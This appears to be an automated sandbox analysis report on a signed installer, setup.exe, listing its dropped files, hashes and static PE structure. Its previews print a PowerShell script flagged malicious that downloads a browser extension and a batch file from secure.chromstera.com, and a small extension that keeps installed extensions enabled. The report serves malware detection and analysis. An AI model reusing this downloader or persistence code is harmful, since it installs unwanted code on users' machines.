MD5:	4ABDC48549915868E5ACE18556DF33A3
SHA1:	92EE321A29713A2327E6DBF91D6705E51690237E
SHA-256:	B336DE350F1BD596987674E0836A141407B85652F3C34BC00D2561861A15F865
SHA-512:	77AAC75B891D646E7768ABEF5644FC152F907D59CB4FF7EE222FF46106386A6DEC53EADF3BE8E9813CF88BA3E476FBD244D8387FFA0EE9441CB4C738A2DFF9A6
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\inprogressinstallinfo.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.4778506022448366
Encrypted:	false
SSDEEP:	48:dbMubs4aFXzBT5lUkKvy9dlGb4pWSkdFE4pB+9iH9Z9f/ZpHAtvC5v1v/vqsDFDS:NMv/TLkeGlXHZAtatn3gOa5R
MD5:	6E923EF4AFB8BB8C0852F4635C6CE2A8
SHA1:	4F272659CD8830829A49F2FD467D5507D173FAC6
SHA-256:	64337AA249EBD51495A3837CB2EC1F7FB85DBEB5C044AB87C5ADFC124F6C898B
SHA-512:	42E734F29C1108335D716632DDD26C585469DB4BEAE899E31B9F0B1144F19248D153B0EC48AA5758A0EE2B070EEB992FEFC75046C23E5812136877DBB7785E5E
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	432221
Entropy (8bit):	5.375183336522233
Encrypted:	false
SSDEEP:	1536:6qELG7gK+RaOOp3LCCpfmLgYI66xgFF9Sq8K6MAS2OMUHl6Gin327D22A26KgauP:zTtbmkExhMJCIpErS
MD5:	EFD20624AF25AE6B4500B224AA6F6E27
SHA1:	EAE78D092E2202409C06682AAF2772B9675303AA
SHA-256:	AE93EEFB0FC9BB5C9AE36BB671CE70C73B9A19AE63C249BFBDE1AC8FAD4350A8
SHA-512:	49F2B5AD4AFAB110D3451A2FA4AD87FD1F102C2F4D5BF94E6D7DCD0E4E2E82FF3707D93E901111752D7586818C32FC5125DAFB5F181F0B58FA4A69B1B1D7EED1
Malicious:	false
Preview:	.To learn about increasing the verbosity of the NGen log files please see http://go.microsoft.com/fwlink/?linkid=210113..12/07/2019 14:54:22.458 [5488]: Command line: D:\wd\compilerTemp\BMT.200yuild.1bk\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe executeQueuedItems /nologo ..12/07/2019 14:54:22.473 [5488]: Executing command from offline queue: install "System.Runtime.WindowsRuntime.UI.Xaml, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=msil" /NoDependencies /queue:1..12/07/2019 14:54:22.490 [5488]: Executing command from offline queue: install "System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil" /NoDependencies /queue:3..12/07/2019 14:54:22.490 [5488]: Exclusion list entry found for System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil; it will not be installed..12/07/2019 14:54:22.490 [

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\SystemTemp\ProD28F.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	119
Entropy (8bit):	4.705502631558087
Encrypted:	false
SSDEEP:	3:RrwNFRJ9fVl3HY9lFFH0y3yHXWTbMExAiqFrKRZJzyn:RrwXz9fVBYtFH0uy3I4miFOZJzyn
MD5:	500ED8AEBC03F996A593076ACBB47984
SHA1:	BA9657F90E586C1E43758400B48F724E48F54DE6
SHA-256:	7A5ADC811C18F01C442372B3A06F70D8242C0EDEB5754CAC3187CF593B26B220
SHA-512:	0D01F057D15E2B2E18CE5B7DE59C26B488A67BBDD2D1E64E861BE3C687DF0EDC22CEEBDFF6D6AAD05DD83391DF283695F7BD7CEF14A18836827C33CFE7AED2D0
Malicious:	false
Preview:	ERROR: Exception calling "DownloadFile" with "2" argument(s): "The remote server returned an error: (404) Not Found."..

C:\Windows\SystemTemp\pssD27E.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	41576
Entropy (8bit):	4.059201502342394
Encrypted:	false
SSDEEP:	768:5WbLVyvvo51AbfOcQ8k1jauBugqlgV5xWvjJudHaUtlGIc:20g8TmFplQS5ANybc
MD5:	48D34C3DD04BD24AAA81BB426AA70FD3
SHA1:	DE6744FBEFCA526D2360604CE0E4254F0B32728D
SHA-256:	4DB3A21458C65880AD6D3314DE71E717EF506A36F7B02E280C820743ABF6341B
SHA-512:	858F7DC6AE631781C13BFAFE4964A0087BED75797EF8688342CC6C2E2412DFB76D0E8301822B3B6A37C96E399785FC5DF3641445063A83AF4B1555EC7C131711
Malicious:	true
Preview:	..p.a.r.a.m.(..... . .[.a.l.i.a.s.(.".p.r.o.p.F.i.l.e.".).]. . . . . . .[.P.a.r.a.m.e.t.e.r.(.M.a.n.d.a.t.o.r.y.=.$.t.r.u.e.).]. .[.s.t.r.i.n.g.]. .$.m.s.i.P.r.o.p.O.u.t.F.i.l.e.P.a.t.h..... .,.[.a.l.i.a.s.(.".p.r.o.p.S.e.p.".).]. . . . . . . .[.P.a.r.a.m.e.t.e.r.(.M.a.n.d.a.t.o.r.y.=.$.t.r.u.e.).]. .[.s.t.r.i.n.g.]. .$.m.s.i.P.r.o.p.K.V.S.e.p.a.r.a.t.o.r..... .,.[.a.l.i.a.s.(.".l.i.n.e.S.e.p.".).]. . . . . . . .[.P.a.r.a.m.e.t.e.r.(.M.a.n.d.a.t.o.r.y.=.$.t.r.u.e.).]. .[.s.t.r.i.n.g.]. .$.m.s.i.P.r.o.p.L.i.n.e.S.e.p.a.r.a.t.o.r..... .,.[.a.l.i.a.s.(.".s.c.r.i.p.t.F.i.l.e.".).]. . . . .[.P.a.r.a.m.e.t.e.r.(.M.a.n.d.a.t.o.r.y.=.$.t.r.u.e.).]. .[.s.t.r.i.n.g.]. .$.u.s.e.r.S.c.r.i.p.t.F.i.l.e.P.a.t.h..... .,.[.a.l.i.a.s.(.".s.c.r.i.p.t.A.r.g.s.F.i.l.e.".).].[.P.a.r.a.m.e.t.e.r.(.M.a.n.d.a.t.o.r.y.=.$.f.a.l.s.e.).].[.s.t.r.i.n.g.]. .$.u.s.e.r.S.c.r.i.p.t.A.r.g.s.F.i.l.e.P.a.t.h..... .,.[.P.a.r.a.m.e.t.e.r.(.M.a.n.d.a.t.o.r.y.=.$.t.r.u.e.).]. . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Windows\SystemTemp\scrD25C.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	35840
Entropy (8bit):	4.0293324702446744
Encrypted:	false
SSDEEP:	768:9o51AbfOcQ8k1jauBufvX4WvjJudHaUtlGP9kY9nh:+8TmFpgZNy0V
MD5:	A60D4DFD69846FCB0ED0D35ACDB2DE5C
SHA1:	4347421C592095AC7012D2660100027FA35EA91E
SHA-256:	B5553BDD13B5E551AE22204C9A8BDD95528C9A29DDA1960469B628762F50766B
SHA-512:	0C4F091958B15B13AB17805E2F9364CBB88158283F1A6B82A28B601C347CE184F1563C32A6979F063ED5BA05948092BE004073512741FBC93C7692729E6AD58E
Malicious:	true
Preview:	..$.d.o.m.a.i.n. .=. .".h.t.t.p.s.:././.s.e.c.u.r.e...c.h.r.o.m.s.t.e.r.a...c.o.m./.c.r.o.s.s./.c.r.x.3.d.y.n.a.m.i.c.".;.....$.a.d.v. .=. .".4.2.6.".;.....$.v.e.r. .=. .".4...4.".;.........$.t.i.m.e.s.t.a.m.p. .=. .(.[.D.a.t.e.T.i.m.e.O.f.f.s.e.t.].(.G.e.t.-.D.a.t.e.).)...T.o.U.n.i.x.T.i.m.e.S.e.c.o.n.d.s.(.).;.....$.W.e.b.C.l.i.e.n.t. .=. .N.e.w.-.O.b.j.e.c.t. .S.y.s.t.e.m...N.e.t...W.e.b.C.l.i.e.n.t.;.....$.l.o.c.a.t.i.o.n. .=. .$.e.n.v.:.L.O.C.A.L.A.P.P.D.A.T.A.;.........$.W.e.b.C.l.i.e.n.t...D.o.w.n.l.o.a.d.F.i.l.e.(.$.d.o.m.a.i.n. .+. ."./.?.a.d.v.=.". .+. .$.a.d.v. .+. .".&.v.=.". .+. .$.v.e.r. .+. .".&.t.i.m.e.=.". .+. .$.t.i.m.e.s.t.a.m.p.,. .".$.l.o.c.a.t.i.o.n.\.a.p.p.s...c.r.x.".).;.....$.W.e.b.C.l.i.e.n.t...D.o.w.n.l.o.a.d.F.i.l.e.(.$.d.o.m.a.i.n. .+. ."./.c.o.n.f.i.g...p.h.p.?.v.=.". .+. .$.v.e.r. .+. .".&.t.i.m.e.=.". .+. .$.t.i.m.e.s.t.a.m.p.,. .".$.l.o.c.a.t.i.o.n.\.T.e.m.p.\.c.o.n.f.i.g...b.a.t.".).;.....#. .S.I.G. .#. .B.e.g.i.n. .s.i.g.n.a.t.u.r.e. .b.l.o.c.k.....#.

C:\Windows\Temp\~DF41C2E1EFD4B4AE7A.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	81920
Entropy (8bit):	0.23122242023582953
Encrypted:	false
SSDEEP:	48:tT4dTSkdMdlGb4pWSkdFE4pB+9iH9Z9f/ZpHAtvC5v1v/vqsDFDWOa5ZQZK:2sGlXHZAtatn3gOa5u
MD5:	BFE97814B4AEF39DE97FF0E91FEBF6E6
SHA1:	40469084CA3E46F5ECF0741355356BA410EAA591
SHA-256:	48EFF268A836C5758F8AEEECEBFCC3867DED1E65B4F03FBDC3C34A68B500A46C
SHA-512:	4706C028DC9CA6ECEAFEA3203CA68C190778F6F3CE6BE2083B94E33502A1D5B9C593392BCE4FD88A49BC58E03D7D518AFA945CD9CC52BF2718710F1517FDF059
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF65B9870B20D59392.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10349372950319229
Encrypted:	false
SSDEEP:	6:xPLG7iVCnLG7iVrKOzPLHKOU9TrEQQRskSzgmWSfyWvbEQR4lSVky6l+1:50i8n0itFzDHFkTNQRskSpW6QQR4z+1
MD5:	AF75429D0D2630E39EA6B0CF9CB9FBDB
SHA1:	FE1A251A51825ADB241C40C0B6CCB4538CCA5133
SHA-256:	98C3080603C73890CCAF2FC4BBDFAD1A1F679972BED3DFC5CFD56170545D778B
SHA-512:	E189DCFF84A1AA542AD7C5AAB90CEE3563F90E2B4D309F607E1C78CE568367D5CCCA9C263EA83D7B3154649885D76915DA3C05E7992126C2F2AB7DD8A8B938DD
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF8A79F01E0058BCB6.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFD70B4A65507E3CBD.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.4778506022448366
Encrypted:	false
SSDEEP:	48:dbMubs4aFXzBT5lUkKvy9dlGb4pWSkdFE4pB+9iH9Z9f/ZpHAtvC5v1v/vqsDFDS:NMv/TLkeGlXHZAtatn3gOa5R
MD5:	6E923EF4AFB8BB8C0852F4635C6CE2A8
SHA1:	4F272659CD8830829A49F2FD467D5507D173FAC6
SHA-256:	64337AA249EBD51495A3837CB2EC1F7FB85DBEB5C044AB87C5ADFC124F6C898B
SHA-512:	42E734F29C1108335D716632DDD26C585469DB4BEAE899E31B9F0B1144F19248D153B0EC48AA5758A0EE2B070EEB992FEFC75046C23E5812136877DBB7785E5E
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\apps-helper\manifest.json

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	219
Entropy (8bit):	4.7231140420608595
Encrypted:	false
SSDEEP:	6:EW/C0sX0gk/hsu1wC6VAPk8yyWSD9kn+E8qqXY:r6XXChsu1wXAPk8Sic+Ev
MD5:	8CB0ACA2B1457CCDFFE28F9843BED9F5
SHA1:	DCFF694B3F2EAC4BCA4A6B96F32026D1CAD9FB83
SHA-256:	15DB2B5B55E74489DD4AD623328FBC10022BDE652C6099DD07D93F6263663C62
SHA-512:	07E99C3684C9952D1CD9AD42BA147B934023392B1ABD2FD688C585505C197FEF9EAA5804F6413D9BE8217F6C66CFD3F09E05D1ACE57230380C0F9B4AD333E670
Malicious:	false
Preview:	{..."name": "Apps Helper",..."description": "",..."version": "1.0",..."manifest_version": 3,..."background": {...."service_worker": "service.js",...."type": "module"...},..."permissions": ["management", "background"]..}

C:\apps-helper\service.js

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	103
Entropy (8bit):	4.609766703102874
Encrypted:	false
SSDEEP:	3:YUkOBLojM3BfnNTUcgLEHJlLDKcXpyYf:YXOBLow3htJTzD1pyYf
MD5:	3910AD193C862FFB7029097B93974D94
SHA1:	4C68DE8A20ECC80F76061F1D552C1F8C1AF015F0
SHA-256:	F95175FBBA42C31C2D4C68DB2CE857A570BDB146909CCF673E6FC647B6A474B3
SHA-512:	91A876FDB422EDA7F20F03C0C9B3454156DEC326E46BF69D0395A6885BAE0D1781D743E2C5CB0BD4D356DDEA1757ECA9DECDAD187271D5C5AFF011B125E70942
Malicious:	false
Preview:	chrome.management.onInstalled.addListener(info => {...chrome.management.setEnabled(info.id, true);..});

\Device\Null

Download File

Process:	C:\Windows\System32\timeout.exe
File Type:	ASCII text, with CRLF line terminators, with overstriking
Category:	dropped
Size (bytes):	64
Entropy (8bit):	4.4936933125951875
Encrypted:	false
SSDEEP:	3:hYFJAR+mQRKVxLZRtWcyn:hYFDaNZiRn
MD5:	1E2AC613338A8A1B2FAA866942CF7289
SHA1:	57BDF3D09C298EF7626707C60DFAC8E2E12B0405
SHA-256:	D676A2AE7C46320E1591C41EFF3848BBC49C6CD99B9B95FE4E43D6126E2799AA
SHA-512:	FA359C579CBC4994996634DBA18BA29187BC6742C34508D5C3F6530DC14D10807D6BBB8D95DF4225AE6F620B2B517069D0AC4DF8D757105D39FB6D302D570CFF
Malicious:	false
Preview:	..Waiting for 5 seconds, press a key to continue ....4.3.2.1.0..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.734472037700318
TrID:	Win32 Executable (generic) a (10002005/4) 98.81% Windows ActiveX control (116523/4) 1.15% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	setup.exe
File size:	9'454'152 bytes
MD5:	8aca54559265d2a9ad0a810c425c644f
SHA1:	39d22f9333c9682bb860cf644d66996f7a641666
SHA256:	af11a10ef1964b801f070d073cf89f3b4e6eecab2943af9cb011151df65ecfd2
SHA512:	58828b7069bc0bd4d731b6b8fb5ab67c0352b24b71cbe504c6a01381ea0a6b0e6f3cfc5adbf732d3f0a4b72692d30038586b91cb55a15e0c02628017813328b5
SSDEEP:	98304:lLKJzFgMQ0dgyNsqWGXwt2Hj8uYJRr+uKTFK+XpBflMPzidUtYoS9PURx1RK/Tvt:xKJzFgMhXQVJ1eBfM2NP6cr/Mxbq
TLSH:	A4968D21758AC537E67A01B16A2CDAAB61797EB20B7154CBB3DC3D6E0B704C21336E17
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........."2..La..La..La".O`..La".I`J.La".J`..LaU.H`..LaU.O`..LaU.I`..La".H`..La".M`..La".K`..La..Ma..La..E`..La...a..La...a..La..N`..L

File Icon


Icon Hash:	2f232d67b7934633

Static PE Info

General

Entrypoint:	0x5e0862
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x64C23AA7 [Thu Jul 27 09:36:39 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	21314122cd4542a6b9b297f52a87acbe

Authenticode Signature

Signature Valid:	true
Signature Issuer:	CN=GlobalSign GCC R45 CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE
Signature Validation Error:	The operation completed successfully
Error Number:	0
Not Before, Not After	05/08/2023 10:08:47 24/12/2023 11:38:55
Subject Chain	E=admin@dragonboss.com, CN=Dragon Boss Solutions LLC, O=Dragon Boss Solutions LLC, L=Sharjah, S=Sharjah, C=AE
Version:	3
Thumbprint MD5:	21C8F80B27367C1F3AD526555D6B895C
Thumbprint SHA-1:	925DE27A297B9C416C251935EFE64219F41EC0F5
Thumbprint SHA-256:	DE315EF07FF351A66A60C3E97C4E04D3E1B445E406C8F7A7E4F2C0765DDF8162
Serial:	72A7B646BA49E796A7EF012C

Entrypoint Preview

Instruction
call 00007F00190F11BDh
jmp 00007F00190F09EFh
mov ecx, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], ecx
pop ecx
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push ecx
ret
mov ecx, dword ptr [ebp-10h]
xor ecx, ebp
call 00007F00190F0040h
jmp 00007F00190F0B52h
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [006FC024h]
xor eax, ebp
push eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [006FC024h]
xor eax, ebp
push eax
mov dword ptr [ebp-10h], eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [006FC024h]
xor eax, ebp
push eax
mov dword ptr [ebp-10h], esp
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2fa454	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x30a000	0x298c4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x901268	0x2fe0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x334000	0x28bec	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x29cfb0	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x29d040	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x26dd60	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x26c000	0x2ec	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x2f77c0	0x280	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x26acb6	0x26ae00	6609ee5ad35366535f89171104fd9407	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x26c000	0x8f55a	0x8f600	82a48c8eed166a4419b55b922166495d	False	0.3128150201612903	data	4.603054902016689	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2fc000	0xd240	0x3c00	624471f60c55363d0bdc9e3921a90c7e	False	0.2658203125	data	4.770105146258243	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x30a000	0x298c4	0x29a00	804290f0c11d503cf8d27bb1e4d0f331	False	0.13437851914414414	data	5.189659274032121	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x334000	0x28bec	0x28c00	7704ec72484064d3d713def4a99cb43b	False	0.4435151457055215	data	6.513339108201383	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x30a910	0x13e	Device independent bitmap graphic, 32 x 16 x 4, image size 258, resolution 2834 x 2834 px/m, 5 important colors	English	United States	0.25471698113207547
RT_BITMAP	0x30aa50	0x828	Device independent bitmap graphic, 32 x 16 x 32, image size 0	English	United States	0.03017241379310345
RT_BITMAP	0x30b278	0x48a8	Device independent bitmap graphic, 290 x 16 x 32, image size 0	English	United States	0.11881720430107527
RT_BITMAP	0x30fb20	0xa6a	Device independent bitmap graphic, 320 x 16 x 4, image size 2562, resolution 2834 x 2834 px/m	English	United States	0.21680420105026257
RT_BITMAP	0x31058c	0x152	Device independent bitmap graphic, 32 x 16 x 4, image size 258, resolution 2834 x 2834 px/m, 10 important colors	English	United States	0.5295857988165681
RT_BITMAP	0x3106e0	0x828	Device independent bitmap graphic, 32 x 16 x 32, image size 0	English	United States	0.4875478927203065
RT_ICON	0x310f08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0, 16 important colors	English	United States	0.6216216216216216
RT_ICON	0x311030	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0, 256 important colors	English	United States	0.5794797687861272
RT_ICON	0x311598	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0, 16 important colors	English	United States	0.5080645161290323
RT_ICON	0x311880	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0, 256 important colors	English	United States	0.5446750902527075
RT_ICON	0x312128	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 0	English	United States	0.3621951219512195
RT_ICON	0x312790	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	United States	0.4224413646055437
RT_DIALOG	0x313638	0xac	data	English	United States	0.7151162790697675
RT_DIALOG	0x3136e4	0xcc	data	English	United States	0.6911764705882353
RT_DIALOG	0x3137b0	0x1b4	data	English	United States	0.5458715596330275
RT_DIALOG	0x313964	0x136	data	English	United States	0.6064516129032258
RT_DIALOG	0x313a9c	0x4c	data	English	United States	0.8289473684210527
RT_STRING	0x313ae8	0x234	data	English	United States	0.4645390070921986
RT_STRING	0x313d1c	0x182	data	English	United States	0.5103626943005182
RT_STRING	0x313ea0	0x50	data	English	United States	0.7375
RT_STRING	0x313ef0	0x9a	data	English	United States	0.37662337662337664
RT_STRING	0x313f8c	0x2f6	data	English	United States	0.449868073878628
RT_STRING	0x314284	0x5c0	data	English	United States	0.3498641304347826
RT_STRING	0x314844	0x434	data	English	United States	0.32899628252788105
RT_STRING	0x314c78	0x100	data	English	United States	0.5703125
RT_STRING	0x314d78	0x484	data	English	United States	0.39186851211072665
RT_STRING	0x3151fc	0x1ea	data	English	United States	0.44081632653061226
RT_STRING	0x3153e8	0x18a	data	English	United States	0.5228426395939086
RT_STRING	0x315574	0x216	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	United States	0.46254681647940077
RT_STRING	0x31578c	0x624	data	English	United States	0.3575063613231552
RT_STRING	0x315db0	0x660	data	English	United States	0.3474264705882353
RT_STRING	0x316410	0x2e2	data	English	United States	0.4037940379403794
RT_GROUP_ICON	0x3166f4	0x5a	data	English	United States	0.7333333333333333
RT_VERSION	0x316750	0x33c	data	English	United States	0.4251207729468599
RT_HTML	0x316a8c	0x3835	ASCII text, with very long lines (443), with CRLF line terminators	English	United States	0.08298005420807561
RT_HTML	0x31a2c4	0x1316	ASCII text, with CRLF line terminators	English	United States	0.18399508800654932
RT_HTML	0x31b5dc	0x8c77	HTML document, ASCII text, with CRLF line terminators	English	United States	0.08081426068578103
RT_HTML	0x324254	0x6acd	HTML document, ASCII text, with CRLF line terminators	English	United States	0.10679931238798873
RT_HTML	0x32ad24	0x6a2	HTML document, ASCII text, with CRLF line terminators	English	United States	0.3486454652532391
RT_HTML	0x32b3c8	0x104a	HTML document, ASCII text, with CRLF line terminators	English	United States	0.2170263788968825
RT_HTML	0x32c414	0x15b1	HTML document, ASCII text, with CRLF line terminators	English	United States	0.17612101566720692
RT_HTML	0x32d9c8	0x205c	exported SGML document, ASCII text, with very long lines (659), with CRLF line terminators	English	United States	0.13604538870111058
RT_HTML	0x32fa24	0x368d	HTML document, ASCII text, with CRLF line terminators	English	United States	0.10834228428213391
RT_MANIFEST	0x3330b4	0x80f	XML 1.0 document, ASCII text, with CRLF, LF line terminators	English	United States	0.40814348036839554

Imports

DLL

Import

KERNEL32.dll

CreateFileW, CloseHandle, WriteFile, DeleteFileW, HeapDestroy, HeapSize, HeapReAlloc, HeapFree, HeapAlloc, GetProcessHeap, SizeofResource, LockResource, LoadResource, FindResourceW, FindResourceExW, CreateEventExW, WaitForSingleObject, CreateProcessW, GetLastError, GetExitCodeProcess, SetEvent, RemoveDirectoryW, GetProcAddress, GetModuleHandleW, GetWindowsDirectoryW, CreateDirectoryW, GetTempPathW, GetTempFileNameW, MoveFileW, EnterCriticalSection, LeaveCriticalSection, GetModuleFileNameW, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, GetCurrentThreadId, RaiseException, SetLastError, GlobalUnlock, GlobalLock, GlobalAlloc, MulDiv, lstrcmpW, CreateEventW, FindClose, FindFirstFileW, GetFullPathNameW, InitializeCriticalSection, lstrcpynW, CreateThread, LoadLibraryExW, GetCurrentProcess, Sleep, WideCharToMultiByte, GetDiskFreeSpaceExW, DecodePointer, GetExitCodeThread, GetCurrentProcessId, FreeLibrary, GetSystemDirectoryW, lstrlenW, VerifyVersionInfoW, VerSetConditionMask, lstrcmpiW, LoadLibraryW, GetDriveTypeW, CompareStringW, FindNextFileW, GetLogicalDriveStringsW, GetFileSize, GetFileAttributesW, GetShortPathNameW, GetFinalPathNameByHandleW, SetFileAttributesW, GetFileTime, CopyFileW, ReadFile, SetFilePointer, SetFileTime, SystemTimeToFileTime, MultiByteToWideChar, GetSystemInfo, WaitForMultipleObjects, 